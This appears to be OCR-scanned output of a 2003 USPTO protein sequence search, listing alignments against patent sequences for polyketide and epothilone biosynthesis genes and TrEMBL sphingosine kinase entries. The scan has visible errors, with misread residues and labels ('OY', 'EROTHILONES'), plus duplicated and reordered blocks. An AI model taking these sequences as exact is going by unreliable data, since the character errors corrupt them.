Db 2265 LASPCY-----SALALYSPRTGHRASPLEASP-----LVSLYASASMTNHRGLIEL 2308

OY 303 FLAME 307
Db 2309 YSLIE 2313

RESULT 6
US-09-105-537-37
Sequence 37, Application US/09105537A
Patent No. 6265202
GENERAL INFORMATION:
APPLICANT: Sherman, D. H.
APPLICANT: Liu, H.
APPLICANT: Xue, Y.
APPLICANT: Zhao, L.

TITLE OF INVENTION: DNA encoding methymycin and pikromycin
FILE REFERENCE: 600.438051
CURRENT APPLICATION NUMBER: US/09/105.537A
CURRENT FILING DATE: 1998-06-26
NUMBER OF SEQ ID NOS: 43
SOFTWARE: FastSeq for Windows Version 3.0
SEQ ID NO 37
LENGTH: 1346
TYPE: PRT
ORGANISM: Streptomyces venezuelae
US-09-105-537-37

Query Match 4.5%; Score 90.5; DB 4; Length 1346;
Best Local Similarity 21.5%; Pred. No. 1.1;
Matches 62; Conservative 20; Mismatches 87; Indels 119; Gaps 12;

OY 81 DGLMHEVNGMLERPDWETAIOKPLCSL-----PAGSG 113
Db 854 DGGHRLTTSLEA--WANGIALDMASILPATGALSPAVPDLPTFAFQHSYTWISPAAG 911
OY 114 NALAASLNHYAGEQVNTEDLLTNTCLLCRPVLSPMNLISLHTASGLRSFSVSLAMGF 173
Db 912 EAPA-----HTASGEVAEGLAMGP 933
OY 174 IADVDLES DKYRLGEMRFTLGFIPLRLAALRTYGRGLATLPYGR-----VGRKTPAS----- 225
Db 934 GAE-DLDE-----GRRSAVLAMVRQAASVLRCDSPREVPVDRPLREIGFDSLTAADFR 987
OY 226 -----PVVVOGQPYDAHLV--LEQVPSHMQVVPDEDFVLVALLHSHLASE 271
Db 988 NRWNRLGLQLPPTVFOHPFPVALAERISBELAERNNAVAEPSP-----HEQAE 1039
OY 272 MEAAPMGR-----CAAGVMHLFYVRAGVSRAMLRLFLAMEKGRHMEY 314
Db 1040 KAAPAGARSGADTGAG-----AGMFRALFRQ--AVDDDRYGEF 1076

RESULT 7
US-09-105-537-6
Sequence 6, Application US/09105537A
Patent No. 6265202
GENERAL INFORMATION:
APPLICANT: Sherman, D. H.
APPLICANT: Liu, H.
APPLICANT: Xue, Y.
APPLICANT: Zhao, L.

TITLE OF INVENTION: DNA encoding methymycin and pikromycin
FILE REFERENCE: 600.438051
CURRENT APPLICATION NUMBER: US/09/105.537A
CURRENT FILING DATE: 1998-06-26
NUMBER OF SEQ ID NOS: 43
SOFTWARE: FastSeq for Windows Version 3.0
SEQ ID NO 6
LENGTH: 1187
TYPE: PRT
ORGANISM: Streptomyces venezuelae
US-09-105-537-6

RESULT 10
US-09-134-001C-5553
Sequence 5553, Application US/09134001C
Patent No. 6380370
GENERAL INFORMATION:
APPLICANT: Lynn Doucette-Stamm et al
TITLE OF INVENTION: NUCLEIC ACID AND AMINO ACID SEQUENCES RELATING TO STAPHYLOCOCCUS
FILE REFERENCE: GTC-007
CURRENT APPLICATION NUMBER: US/09/134,001C
CURRENT FILING DATE: 1998-08-13
PRIOR APPLICATION NUMBER: US 60/064,964
PRIOR FILING DATE: 1997-11-08
PRIOR APPLICATION NUMBER: US 60/055,779
PRIOR FILING DATE: 1997-08-14
NUMBER OF SEQ ID NOS: 5674
SEQ ID NO 5553
LENGTH: 319
TYPE: PRT
ORGANISM: Staphylococcus epidermidis
US-09-134-001C-5553

Query Match 4.3%; Score 87.5; DB 4; Length 319;
Best Local Similarity 23.7%; Pred. No. 0.24;
Matches 28; Conservative 26; Mismatches 47; Indels 17; Gaps 4;
QY 22 NPGGKALQLFERSHYOPLAE--AEISFTMLTERNHARELVSEELGRMDALVMS 79
DB 35 NGIGEVAKSLSSCKKHLSTLSEKKGDIITCKSKIKENSSDV-----DVLFTLG 85
QY 80 GDGLMHEVNGLMERPDMETAIOKPLCSLPAGSGNALASLNHYAGYQVYTNEDLTN 137
DB 86 GDGLMHEVNGVM-----QYQLNLPICVIGGTENDTPTKTLQLHPNF-KTASEQLLS 137

RESULT 11
US-09-320-878-4
Sequence 4, Application US/09320878A
Patent No. 6117659
GENERAL INFORMATION:
APPLICANT: ASHLEY, Gary
APPLICANT: BETLACH, Melanie C.
APPLICANT: BETLACH, Mary C.
APPLICANT: MCDANIEL, Robert
APPLICANT: TANG, Li
TITLE OF INVENTION: RECOMBINANT NARBONOLIDE POLYKETIDE SYNTHASE
FILE REFERENCE: 300622002120
CURRENT APPLICATION NUMBER: US/09/320,878A
CURRENT FILING DATE: 1999-05-27
EARLIER APPLICATION NUMBER: CIP OF 09/141,908
EARLIER FILING DATE: 1998-08-28
EARLIER APPLICATION NUMBER: CIP OF 09/073,538
EARLIER FILING DATE: 1998-05-06
EARLIER APPLICATION NUMBER: CIP OF 08/846,247
EARLIER FILING DATE: 1997-04-30
EARLIER APPLICATION NUMBER: 60/119,139
EARLIER FILING DATE: 1999-02-08
EARLIER APPLICATION NUMBER: 60/100,880
EARLIER FILING DATE: 1998-09-22
EARLIER APPLICATION NUMBER: 60/087,080
EARLIER FILING DATE: 1998-05-28
NUMBER OF SEQ ID NOS: 34
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 4
LENGTH: 1346
TYPE: PRT
ORGANISM: Streptomyces venezuelae
US-09-320-878-4

Query Match 4.3%; Score 87.5; DB 3; Length 1346;
Best Local Similarity 21.2%; Pred. No. 2.3;
Matches 61; Conservative 21; Mismatches 87; Indels 119; Gaps 12;

QY 81 DGLMHEVNGLMERPDMETAIOKPLCSL-----PAGSG 113
DB 854 DGGHRLTTSIAEA--WANGIALDMASILPATGALSPAVPDLPTFYARQHRSWISPG 911
QY 114 NALASLNHYAGYQVYTNEDLTNCTLLCRPVLSPNMLSLHNASGLRSVSLAWGF 173
DB 912 EAPA-----HTASGREAAETGLAWGP 933
QY 174 IADVLESDKYRLGEMRFTLTGFLRLAALRTYGRATLPVGR-----VGKTPAS---- 225
DB 934 GAE-DLDEE-----GRSAVLAAMYMQAASVLRCDSEEVYVDPRLAIGDSLTAVER 987
QY 226 -----PVYVOGVPDAHLVP--LEEQVSHMOVVPDDEFLVALLLSHLASE 271
DB 988 NRVRNLGLOLRPVVFEHPFLVALERISDELERNMAVAPEPSD-----HEQAEE 1039
QY 272 MEAPMGR-----CAQVMHLFYRAGVSRAMLRLPLAMEKGRHMEY 314
DB 1040 KAAPAPAGARSGADTGAG-----AGMFRALFRQ---AVBDRYGEF 1076

RESULT 12
US-09-335-409-2
Sequence 2, Application US/09335409
Patent No. 6121029
GENERAL INFORMATION:
APPLICANT: Schupp, Thomas
APPLICANT: Ligon, James
APPLICANT: Molnar, Istvan
APPLICANT: ZIRKE, Ross
APPLICANT: Cyr, Devon
APPLICANT: Goerlach, Joern
TITLE OF INVENTION: GENES FOR THE BIOSYNTHESIS OF EROTHILONES
FILE REFERENCE: 4-30582A
CURRENT APPLICATION NUMBER: US/09/335,409
CURRENT FILING DATE: 1999-06-17
NUMBER OF SEQ ID NOS: 30
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 2
LENGTH: 1421
TYPE: PRT
ORGANISM: Sorangium cellulosum
US-09-335-409-2

Query Match 4.2%; Score 85.5; DB 3; Length 1421;
Best Local Similarity 24.0%; Pred. No. 4.2; Indels 105; Gaps 19;
Matches 82; Conservative 34; Mismatches 121;
QY 25 GKGKALQLFERSHYOPLAEAEISFTMLTERNHAREL-VRSEELGRMDALVY-----M 78
DB 1099 GGVGLAIVQMAQH-----GAEVHATAGTPEKRAVLESLGVRYVSDSRDFADVAMT 1153
QY 79 SGGLMHEVNGLMERPDMETAIOKPLCSLPAGSGNALASLN--HYAGYQVYTNEDL 135
DB 1154 GEGG-VDVVLSL-----SGELLDKSFNLSRGFEVLEKRCY 1192
QY 136 TNCITLLCRPVLSPNMLSLHTASGLRSFVLSLAWGFIAVDLESDKYRLGEMRFTLG 195
DB 1193 ADNDGL-RPFL-RNL-----SFSL-----VDLRGMLEPRARYALLE 1229
QY 196 TFLRLAALRTYR-GRATLPVGRV--GKTPA-----SPVVOGVPDAHLVPLEQVPS 247
DB 1230 ELGLIAAGVTPPIATLFAVADAFAFRMAQHGLKVLTLTGDPVQI-----RPT 1284
QY 248 HMQVVP---DEDFVLVALLLSHLASEMFAAPMGRCA-----GV 284
DB 1285 HAGAPSTGDRD-----LIDRLAS--AAPARAALAEFLRTQVSQVLRTPERIVGA 1334
QY 285 MHLFYRAGVSRAMLRLPLAMEKGRHMEYCPYLVVYVVA 326
DB 1335 EALF-TRIGMDSLAVAEILRNRIEASIKLSTLTSLTSPNIA 1375

```
RESULT 13
US-09-568-102-2
; Sequence 2, Application US/09568102
; Patent No. 6346404
; GENERAL INFORMATION:
; APPLICANT: Schupp, Thomas
; APPLICANT: Ligon, James
; APPLICANT: Molnar, Istvan
; APPLICANT: Zirkle, Ross
; APPLICANT: Cyr, Devon
; APPLICANT: Goerlach, Joern
; TITLE OF INVENTION: GENES FOR THE BIOSYNTHESIS OF EPOTHILONES
; FILE REFERENCE: 4-30582A
; CURRENT APPLICATION NUMBER: US/09/568,102
; CURRENT FILING DATE: 2000-05-10
; PRIOR APPLICATION NUMBER: 09/335,409
; PRIOR FILING DATE: 1999-06-17
; NUMBER OF SEQ ID NOS: 30
; SOFTWARE: Patentln Ver. 2.0
; SEQ ID NO 2
; LENGTH: 1421
; TYPE: PRT
; ORGANISM: Sorangium cellulosum
US-09-568-102-2

Query Match          4.2%; Score 85.5; DB 4; Length 1421;
Best Local Similarity 24.0%; Pred. No. 4.2;
Matches 82; Conservative 34; Mismatches 121; Indels 105; Gaps 19;

OY 25 GKGKALQLFERSHQPLAEISFTLMLTERRHAREL-VRSEELGRMDALVY-----M 78
DB 1099 GGVGIAAVQMAOHV-----GAEVHATAGTPEKRAVLESIGRVYSRSDRFVADVRAWT 1153
OY 79 SGDGIMHEVYVNGLMERPDMETAIOKPLCSLPAGSNAIASLN---HYAGEVQTNEDLL 135
DB 1154 GGEQ-VDVYVNSL-----SGELIDKSFNLRSHGRFVELGKRDY 1192
OY 136 TNCITLLCRPYLSPMNLISLHTASGLNSFSVLSIANGFIADVDESCKYRRLGEMRPTLG 195
DB 1193 ADNQGTL-RPFL--RNL-----SFSL-----VDLRGMMLERPARVALL 1229
OY 196 TFLRLAALRYR-GLATLPYGRV--GKTPA-----SPVYVOGPDVAHLVPLEEQVPS 247
DB 1230 ELIGLIAAGVFTPPPIATLPPIARVADAFRSMQAQHLKLVLTIGDPEVQI-----RIP 1284
OY 248 HMQVVP---DEDFVLVLLSHSLASEMFAAPMGCA-----GV 284
DB 1285 HAGAGPSTGDRD-----LDRLAS---AAPAAALAEAFRTQVSQVLTPEIKYGA 1334
OY 285 MHLFVYRAGVSRAMLLRLFLAMEKGRHMEYECPLYVYVVA 326
DB 1335 EALF-TRIGMDSIMAVELNRIEASLKLTSTTFSTSPNIA 1375

RESULT 14
US-09-567-969-2
; Sequence 2, Application US/09567969
; Patent No. 6355457
; GENERAL INFORMATION:
; APPLICANT: Schupp, Thomas
; APPLICANT: Ligon, James
; APPLICANT: Molnar, Istvan
; APPLICANT: Zirkle, Ross
; APPLICANT: Cyr, Devon
; APPLICANT: Goerlach, Joern
; TITLE OF INVENTION: GENES FOR THE BIOSYNTHESIS OF EPOTHILONES
; FILE REFERENCE: 4-30582A
; CURRENT APPLICATION NUMBER: US/09/567,969
; CURRENT FILING DATE: 2000-05-10
; PRIOR APPLICATION NUMBER: 09/335,409
; PRIOR FILING DATE: 1999-06-17
; NUMBER OF SEQ ID NOS: 30
; SOFTWARE: Patentln Ver. 2.0
```

```
; SEQ ID NO 2
; LENGTH: 1421
; TYPE: PRT
; ORGANISM: Sorangium cellulosum
US-09-567-969-2

Query Match          4.2%; Score 85.5; DB 4; Length 1421;
Best Local Similarity 24.0%; Pred. No. 4.2;
Matches 82; Conservative 34; Mismatches 121; Indels 105; Gaps 19;

OY 25 GKGKALQLFERSHQPLAEISFTLMLTERRHAREL-VRSEELGRMDALVY-----M 78
DB 1099 GGVGIAAVQMAOHV-----GAEVHATAGTPEKRAVLESIGRVYSRSDRFVADVRAWT 1153
OY 79 SGDGIMHEVYVNGLMERPDMETAIOKPLCSLPAGSNAIASLN---HYAGEVQTNEDLL 135
DB 1154 GGEQ-VDVYVNSL-----SGELIDKSFNLRSHGRFVELGKRDY 1192
OY 136 TNCITLLCRPYLSPMNLISLHTASGLNSFSVLSIANGFIADVDESCKYRRLGEMRPTLG 195
DB 1193 ADNQGTL-RPFL--RNL-----SFSL-----VDLRGMMLERPARVALL 1229
OY 196 TFLRLAALRYR-GLATLPYGRV--GKTPA-----SPVYVOGPDVAHLVPLEEQVPS 247
DB 1230 ELIGLIAAGVFTPPPIATLPPIARVADAFRSMQAQHLKLVLTIGDPEVQI-----RIP 1284
OY 248 HMQVVP---DEDFVLVLLSHSLASEMFAAPMGCA-----GV 284
DB 1285 HAGAGPSTGDRD-----LDRLAS---AAPAAALAEAFRTQVSQVLTPEIKYGA 1334
OY 285 MHLFVYRAGVSRAMLLRLFLAMEKGRHMEYECPLYVYVVA 326
DB 1335 EALF-TRIGMDSIMAVELNRIEASLKLTSTTFSTSPNIA 1375

RESULT 15
US-09-568-480-2
; Sequence 2, Application US/09568480
; Patent No. 6355458
; GENERAL INFORMATION:
; APPLICANT: Schupp, Thomas
; APPLICANT: Ligon, James
; APPLICANT: Molnar, Istvan
; APPLICANT: Zirkle, Ross
; APPLICANT: Cyr, Devon
; APPLICANT: Goerlach, Joern
; TITLE OF INVENTION: GENES FOR THE BIOSYNTHESIS OF EPOTHILONES
; FILE REFERENCE: 4-30582A
; CURRENT APPLICATION NUMBER: US/09/568,480
; CURRENT FILING DATE: 2000-05-10
; PRIOR APPLICATION NUMBER: 09/335,409
; PRIOR FILING DATE: 1999-06-17
; NUMBER OF SEQ ID NOS: 30
; SOFTWARE: Patentln Ver. 2.0
; SEQ ID NO 2
; LENGTH: 1421
; TYPE: PRT
; ORGANISM: Sorangium cellulosum
US-09-568-480-2

Query Match          4.2%; Score 85.5; DB 4; Length 1421;
Best Local Similarity 24.0%; Pred. No. 4.2;
Matches 82; Conservative 34; Mismatches 121; Indels 105; Gaps 19;

OY 25 GKGKALQLFERSHQPLAEISFTLMLTERRHAREL-VRSEELGRMDALVY-----M 78
DB 1099 GGVGIAAVQMAOHV-----GAEVHATAGTPEKRAVLESIGRVYSRSDRFVADVRAWT 1153
OY 79 SGDGIMHEVYVNGLMERPDMETAIOKPLCSLPAGSNAIASLN---HYAGEVQTNEDLL 135
DB 1154 GGEQ-VDVYVNSL-----SGELIDKSFNLRSHGRFVELGKRDY 1192
OY 136 TNCITLLCRPYLSPMNLISLHTASGLNSFSVLSIANGFIADVDESCKYRRLGEMRPTLG 195
DB 1193 ADNQGTL-RPFL--RNL-----SFSL-----VDLRGMMLERPARVALL 1229
OY 196 TFLRLAALRYR-GLATLPYGRV--GKTPA-----SPVYVOGPDVAHLVPLEEQVPS 247
DB 1230 ELIGLIAAGVFTPPPIATLPPIARVADAFRSMQAQHLKLVLTIGDPEVQI-----RIP 1284
OY 248 HMQVVP---DEDFVLVLLSHSLASEMFAAPMGCA-----GV 284
DB 1285 HAGAGPSTGDRD-----LDRLAS---AAPAAALAEAFRTQVSQVLTPEIKYGA 1334
OY 285 MHLFVYRAGVSRAMLLRLFLAMEKGRHMEYECPLYVYVVA 326
DB 1335 EALF-TRIGMDSIMAVELNRIEASLKLTSTTFSTSPNIA 1375
```

```

Db      1193  ADNOLGL-RPFL--RNL-----SFSL-----VDLRGMMLERPARVRLLE 1229
QY      196  TFLRLAALRTYR-GRLATLPYGRV--GKTPA-----SPVYVQOGPVDAHLVPLEEQVPS 247
Db      1230  ELLGLIAGVFTPPPIATLPIARVADAFRSMAQOHGKLVTLGDPEVOI-----RIP 1284
QY      248  HMOYVP---DEDFVLVLALLSHSLASEMFAPMGRCNA-----GV 284
Db      1285  HAGGPFSTGDRD-----LIDRLAS---AAPAARAALAEFLRTQVSQVLTPEIKYGA 1334
QY      285  MHLFVYRAGVSRAMLRLFLAMEKGRHMEYECPIYVYVPVYA 326
Db      1335  EALF-TRLGMDSLMAVELRNRIEASLKLSTFTLSTSPNTA 1375

```

Search completed: July 12, 2003, 18:10:05
 Job time : 21 secs

THIS PAGE BLANK (USPTO)


```

Db 121 NHYAGYEQVTNEDLNTCTLLCRRLSPNNLLSTTASGLRFSVLSLAWGFADVDLE 180
QY 181 SDKYRRLGEMRFTLGTFLRLAALRTYRGRLATLPVGRVGFKTPASPVVVOGQPVDAHLVP 240
Db 181 SEKRYRRLGEMRFTLGTFLRLAALRTYRGRLATLPVGRVSKTPASPVVVOGQPVDAHLVP 240
QY 241 LEEQVPSHMOVDEDEFEVLVIALHSHLASSEMFADPGRCAGVMHLFTYRAGVSRAML 300
Db 241 LEEQVPSHMTVPDEDEFEVLVIALHSHLASSEMFADPGRCAGVMHLFTYRAGVSRAML 300
QY 301 RLFLAMKGRHMEYECPLYLVYVVAFRLEPKDKGVAVDGLAWSEAVOQGVHPNFTM 360
Db 301 RLFLAMKGRHMEYECPLYLVYVVAFRLEPKDKGVAVDGLAWSEAVOQGVHPNFTM 360
QY 361 MWSGCVPEPPSWKPOQMPPEEPL 384
Db 361 MWSGCVPEPPSWKPOQMPPEEPL 384

```

RESULT 2

```

Q96GK1 PRELIMINARY; PRT; 398 AA.
ID 096GK1:
AC 096GK1:
DT 01-DEC-2001 (TREMBLrel. 19, Created)
DT 01-DEC-2001 (TREMBLrel. 19, last sequence update)
DE 01-MAR-2002 (TREMBLrel. 20, last annotation update)
DE Unknown (protein for MGC:15040).
OS Homo sapiens (Human).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
OX NCBI_TaxID=9606;
RN [1]
RP SEQUENCE FROM N.A.
RC TISSUE=KIDNEY;
RA Strausberg R.;
RT Submitted (JUN-2001) to the EMBL/GenBank/DBJ databases.
DR EMBL; BC009419: AAH09419.1; -.
DR InterPro; IPR001395; AldoKet_red.
DR InterPro; IPR001206; DAGC.
DR InterPro; IPR003622; DAG_kin_cat.
DR Pfam; PF00781; DAGC; 1.
DR Prodom; PD005043; DAG_kin_cat; 1.
DR PROSITE; PS00063; ALDOXETO_REDUCTASE_3; UNKNOWN_1.
SQ SEQUENCE 398 AA; 43944 MW; 7FC9B26C030E560 CRC64;

```

Query Match 96.5%; Score 1945; DB 4; Length 398;

Best Local Similarity 94.2%; Pred. No. 1,3e-163; Indels 14; Gaps 1;

Matches 375; Conservative 2; Mismatches 7;

```

QY 1 MDP-----AGPRGVLPKPCRVLYLNLNPRGKGKALQLFRRSHVOPLLAEAE 46
Db 1 MDPVVGCGKGLFGLFPGFSAQPRGVLPKPCRVLYLNLNPRGKGKALQLFRRSHVOPLLAEAE 60
QY 47 ISFTLMLTERRNHARELYRSEELGRMDALVYMSGDGLMHEVYNGIMERPDMETAIOKPLC 106
Db 61 ISFTLMLTERRNHARELYRSEELGRMDALVYMSGDGLMHEVYNGIMERPDMETAIOKPLC 120
QY 107 SLPAGSGNALASLNNHYAGYEQVTNEDLNTCTLLCRPYLSPPNLLSHTASGLRSFSV 166
Db 121 SLPAGSGNALASLNNHYAGYEQVTNEDLNTCTLLCRRLSPNNLLSHTASGLRSFSV 180
QY 167 LSLAWGFADVDLESDKYRRLGEMRFTLGTFLRLAALRTYRGRLATLPVGRVGFKTPASP 226
Db 181 LSLAWGFADVDLESDKYRRLGEMRFTLGTFLRLAALRTYRGRLATLPVGRVGFKTPASP 240
QY 227 VVVQGPVDAHLVPLEEQVPSHMOVDEDEFEVLVIALHSHLASSEMFADPGRCAGVMH 286
Db 241 VVVQGPVDAHLVPLEEQVPSHMTVPDEDEFEVLVIALHSHLASSEMFADPGRCAGVMH 300
QY 287 LFLVYRAGVSRAMLRLFLAMKGRHMEYECPLYLVYVVAFRLEPKDKGVAVDGLAW 346
Db 301 LFLVYRAGVSRAMLRLFLAMKGRHMEYECPLYLVYVVAFRLEPKDKGVAVDGLAW 360

```

```

QY 347 SEAVOQGVHPNFTMWSGCVPEPPSWKPOQMPPEEPL 384
Db 361 SEAVOQGVHPNFTMWSGCVPEPPSWKPOQMPPEEPL 398

```

RESULT 3

```

Q9NOA5 PRELIMINARY; PRT; 329 AA.
ID 09NOA5:
AC 09NOA5:
DT 01-OCT-2000 (TREMBLrel. 15, Created)
DT 01-OCT-2000 (TREMBLrel. 15, last sequence update)
DE 01-MAR-2002 (TREMBLrel. 20, last annotation update)
DE Unnamed protein product.
OS Macaca fascicularis (Crah eating macaque) (Cynomolgus monkey).
OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
OC Mammalia; Eutheria; Primates; Catarrhini; Cercopitheidae;
OC Cercopitheidae; Macaca.
OX NCBI_TaxID=9541;
RN [1]
RP SEQUENCE FROM N.A.
RA Osada N., Hida M., Kusuda J., Tanuma R., Iseki K., Hirai M., Terao K.,
RA Suzuki Y., Sugano S., Hashimoto K.;
RT Isolation of full-length cDNA clones from macaque brain cDNA
RT libraries.
RL Submitted (JUL-2000) to the EMBL/GenBank/DBJ databases.
DR EMBL; AB046025; BAB01607.1; -.
DR InterPro; IPR001395; AldoKet_red.
DR InterPro; IPR001206; DAGC.
DR InterPro; IPR003622; DAG_kin_cat.
DR Pfam; PF00781; DAGC; 1.
DR Prodom; PD005043; DAG_kin_cat; 1.
DR SMART; SM00046; DAGC; 1.
DR PROSITE; PS00063; ALDOXETO_REDUCTASE_3; UNKNOWN_1.
SQ SEQUENCE 329 AA; 36393 MW; 7FA30ABDCA5FDC7 CRC64;

```

Query Match 78.9%; Score 1590; DB 6; Length 329;

Best Local Similarity 95.3%; Pred. No. 2.4e-132; Indels 0; Gaps 0;

Matches 307; Conservative 4; Mismatches 11;

```

QY 1 MDPAGPRGVLPKPCRVLYLNLNPRGKGKALQLFRRSHVOPLLAEAEISFTLMLTERRNHA 60
Db 1 MDPAGPRGVLPKPCRVLYLNLNPRGKGKALQLFRRSHVOPLLAEAEISFTLMLTERRNHA 60
QY 61 RELVRSSEELGRMDALVYMSGDGLMHEVYNGIMERPDMETAIOKPLCSLPAGSGNALASL 120
Db 61 RELVRSSEELGRMDALVYMSGDGLMHEVYNGIMERPDMETAIOKPLCSLPAGSGNALASL 120
QY 121 NHYAGYEQVTNEDLNTCTLLCRPYLSPPNLLSHTASGLRSFSVLSLAWGFADVDLE 180
Db 121 NHYAGYEQVTNEDLNTCTLLCRRLSPNNLLSHTASGLRFSVLSLAWGFADVDLE 180
QY 181 SDKYRRLGEMRFTLGTFLRLAALRTYRGRLATLPVGRVGFKTPASPVVVOGQPVDAHLVP 240
Db 181 SEKRYRRLGEMRFTLGTFLRLAALRTYRGRLATLPVGRVSKTPASPVVVOGQPVDAHLVP 240
QY 241 LEEQVPSHMOVDEDEFEVLVIALHSHLASSEMFADPGRCAGVMHLFTYRAGVSRAML 300
Db 241 LEEQVPSHMTVPDEDEFEVLVIALHSHLASSEMFADPGRCAGVMHLFTYRAGVSRAML 300
QY 301 RLFLAMKGRHMEYECPLYLVYVVAFRLEPKDKGVAVDGLAWSEAVOQGVHPNFTM 360
Db 301 RLFLAMKGRHMEYECPLYLVYVVAFRLEPKDKGVAVDGLAWSEAVOQGVHPNFTM 360

```

RESULT 4

```

Q91ZN3 PRELIMINARY; PRT; 381 AA.
ID 091ZN3:
AC 091ZN3:
DT 01-DEC-2001 (TREMBLrel. 19, Created)
DT 01-DEC-2001 (TREMBLrel. 19, last sequence update)
DE 01-JUN-2002 (TREMBLrel. 21, last annotation update)
DE Sphingosine kinase 1a.

```

GN SPHK1.
 OS Mus musculus (Mouse).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 OC Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Murinae; Mus.
 OX NCBI_TaxID=10090;
 RN [1]
 RP SEQUENCE FROM N.A.
 RA Thompson D., Pyne S.;
 RL Submitted (AUG-2001) to the EMBL/GenBank/DBJ databases.
 DR EMBL: AF415213; AL07499.1; -
 DR MGI: 1316649; Spk1.
 DR InterPro: IPR001206; DAGK.
 DR InterPro: IPR003622; DAGK.
 DR Pfam: PF00781; DAGK; 1.
 DR Prodom: PD005043; DAGK_kin_cat; 1.
 KW Kinase.
 SQ SEQUENCE 381 AA; 42344 MW; 2F2C1E10D59EB129 CRC64;

Query Match 78.7%; Score 1585.5; DB 11; Length 381;
 Best Local Similarity 79.8%; Pred. No. 7.3e-132;
 Matches 301; Conservative 34; Mismatches 41; Indels 1; Gaps 1;

QY 7 PGVLPRPCRYLVILNPRGKGKALQIFRSHVOPPLAEAEISFTLMLTERRNHARELYRS 66
 DB 6 PGLLPRCRYLVILNPGGKGKALQIFOSRYOPFLAEAEITFKLILTERKNHARELYCA 65
 QY 67 BELGMDALVYMSGDGLMHEVYNGLMERPDMETAIQKPLCSLPAGSGNALAASLNHYAGY 126
 DB 66 BELGMDALVYMSGDGLMHEVYNGLMERPDMETAIQKPLCSLPAGSGNALAASLNHYAGY 125
 QY 127 EGVNEDLLTNCITLLCRPVLSPMNLSLHTASGLRSVSLANGFTADVDLESCKYR 186
 DB 126 EGVNEDLLTNCITLLCRPVLSPMNLSLHTASGLRSVSLANGFTADVDLESCKYR 185
 QY 187 LGEMFTLGTFLRLAALRTYGRRLATLPVGRVGFTRPASPYYVOGQPVDAHLVPLEEQVP 246
 DB 186 LGEMFTLGTFLRLAALRTYGRRLATLPVGRVGFTRPASPYYVOGQPVDAHLVPLEEQVP 244
 QY 247 SHMOVPEDEFLVYLALSHSLASMFAPMGRCAGVNHLYFYVAGVSRALLRLFLAM 306
 DB 245 SHMTVVPQDDFLVYLALSHSLASMFAPMGRCAGVNHLYFYVAGVSRALLRLFLAM 304
 QY 307 EKGMEYECPLVYVYVAFRLPEKDKGFVANDGELMSEAVNOGVHPNYFMVSCV 366
 DB 305 QKGMELDCPYLVHVPVAFRLPEKDKGFVANDGELMSEAVNOGVHPNYFMVSCV 364
 QY 367 EPPPSWKPOQMPPEEP 383
 DB 365 DAPSGRDSRGRPPPEEP 381

RESULT 5
 088886 PRELIMINARY; PRT; 388 AA.

AC 088886;
 DT 01-NOV-1998 (TREMBLrel. 08, Created)
 DT 01-NOV-1998 (TREMBLrel. 08, Last sequence update)
 DT 01-DEC-2001 (TREMBLrel. 19, Last annotation update)
 DE Sphingosine kinase.
 GN SPHK1 OR SPHK1B.
 OS Mus musculus (Mouse).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 OC Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Murinae; Mus.
 OX NCBI_TaxID=10090;
 RN [1]
 RP SEQUENCE FROM N.A.
 RA MEDLINE-98395082; PubMed-9726979;
 RA Kohama T., Oliveira A., Edsall L., Nagiec M.M., Dickson R., Spiegel S.;
 RT "Molecular cloning and functional characterization of murine
 sphingosine kinase."
 RL J. Biol. Chem. 273:23722-23728(1998).
 DR EMBL: AF068749; AAC61698.1; -
 DR MGI: 1316649; Spk1.

DR InterPro: IPR001206; DAGK.
 DR InterPro: IPR003622; DAGK_kin_cat.
 DR Pfam: PF00781; DAGK; 1.
 DR Prodom: PD005043; DAG_kin_cat; 1.
 DR SMART: SM00046; DAGK; 1.
 KW Kinase.
 SQ SEQUENCE 388 AA; 43254 MW; 01EB032322542CAD CRC64;

Query Match 78.7%; Score 1585.5; DB 11; Length 388;
 Best Local Similarity 79.8%; Pred. No. 7.5e-132;
 Matches 301; Conservative 34; Mismatches 41; Indels 1; Gaps 1;

QY 7 PGVLPRPCRYLVILNPRGKGKALQIFRSHVOPPLAEAEISFTLMLTERRNHARELYRS 66
 DB 13 PGLLPRCRYLVILNPGGKGKALQIFOSRYOPFLAEAEITFKLILTERKNHARELYCA 72
 QY 67 BELGMDALVYMSGDGLMHEVYNGLMERPDMETAIQKPLCSLPAGSGNALAASLNHYAGY 126
 DB 73 BELGMDALVYMSGDGLMHEVYNGLMERPDMETAIQKPLCSLPAGSGNALAASLNHYAGY 132
 QY 127 EGVNEDLLTNCITLLCRPVLSPMNLSLHTASGLRSVSLANGFTADVDLESCKYR 186
 DB 133 EGVNEDLLTNCITLLCRPVLSPMNLSLHTASGLRSVSLANGFTADVDLESCKYR 192
 QY 187 LGEMFTLGTFLRLAALRTYGRRLATLPVGRVGFTRPASPYYVOGQPVDAHLVPLEEQVP 246
 DB 193 LGEMFTLGTFLRLAALRTYGRRLATLPVGRVGFTRPASPYYVOGQPVDAHLVPLEEQVP 251
 QY 247 SHMOVPEDEFLVYLALSHSLASMFAPMGRCAGVNHLYFYVAGVSRALLRLFLAM 306
 DB 252 SHMTVVPQDDFLVYLALSHSLASMFAPMGRCAGVNHLYFYVAGVSRALLRLFLAM 311
 QY 307 EKGMEYECPLVYVYVAFRLPEKDKGFVANDGELMSEAVNOGVHPNYFMVSCV 366
 DB 312 QKGMELDCPYLVHVPVAFRLPEKDKGFVANDGELMSEAVNOGVHPNYFMVSCV 371
 QY 367 EPPPSWKPOQMPPEEP 383
 DB 372 DAPSGRDSRGRPPPEEP 388

RESULT 6
 088885 PRELIMINARY; PRT; 504 AA.

AC 088885;
 DT 01-NOV-1998 (TREMBLrel. 08, Created)
 DT 01-NOV-1998 (TREMBLrel. 08, Last sequence update)
 DT 01-DEC-2001 (TREMBLrel. 19, Last annotation update)
 DE Sphingosine kinase (Fragment).
 GN SPHK1 OR SPHK1A.
 OS Mus musculus (Mouse).
 OC Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 OC Mammalia; Eutheria; Rodentia; Sciurognathi; Muridae; Murinae; Mus.
 OX NCBI_TaxID=10090;
 RN [1]
